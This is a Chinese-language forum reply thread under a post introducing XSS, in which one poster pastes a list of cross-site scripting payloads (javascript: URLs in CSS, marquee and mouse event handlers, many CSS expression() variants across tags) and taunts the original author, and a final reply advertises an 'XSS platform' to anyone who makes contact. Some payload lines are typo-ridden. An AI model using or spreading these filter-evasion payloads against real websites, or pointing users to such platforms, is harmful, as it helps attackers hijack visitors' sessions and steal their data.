回复：科普入门xss，附带实战

呵呵

我忍不住想吐槽了
大牛啊别贴那些到处都是的代码
你要真的牛逼回答一下问题
<div
style=”width:0;height:0;background:url(javascript:document.body.onload =
function(){alert(/XSS/);};”></div>
利用已知事件攻击
移动特效字<marquee>文字</marquee>
<marquee onstart=”alert(/XSS/)”>文字</marquee>
B.<div style=”” onmouseenter=”alert(/XSS/)”>文字</div>
构造事件
<img style=”#” style=”TEST:e-xpression(alert(/XSS/));”>
常用的事件构造
<font style = “TEST:e-xpression(alert(/XSS/))”></font>
<li style = “TEST:e-xpression(alert(/XSS/))”></li>
<table style = “TEST:e-xpression(alert(/XSS/))”></table>
<a style = “TEST:e-xpression(alert(/XSS/))”></a>
<b style = “TEST:e-xpression(alert(/XSS/))”></b>
<ul style = “TEST:e-xpression(alert(/XSS/))”></ul>
<marque tyle = “TEST:e-xpression(alert(/XSS/))”></marquee>
以后的代码构造实例你Y能写出来吗？？？？？、、、能吗？？？？？？？？？？、、
嘚瑟I

永远支持

mark

看不懂啊

有实力快

谁需要xss平台联系我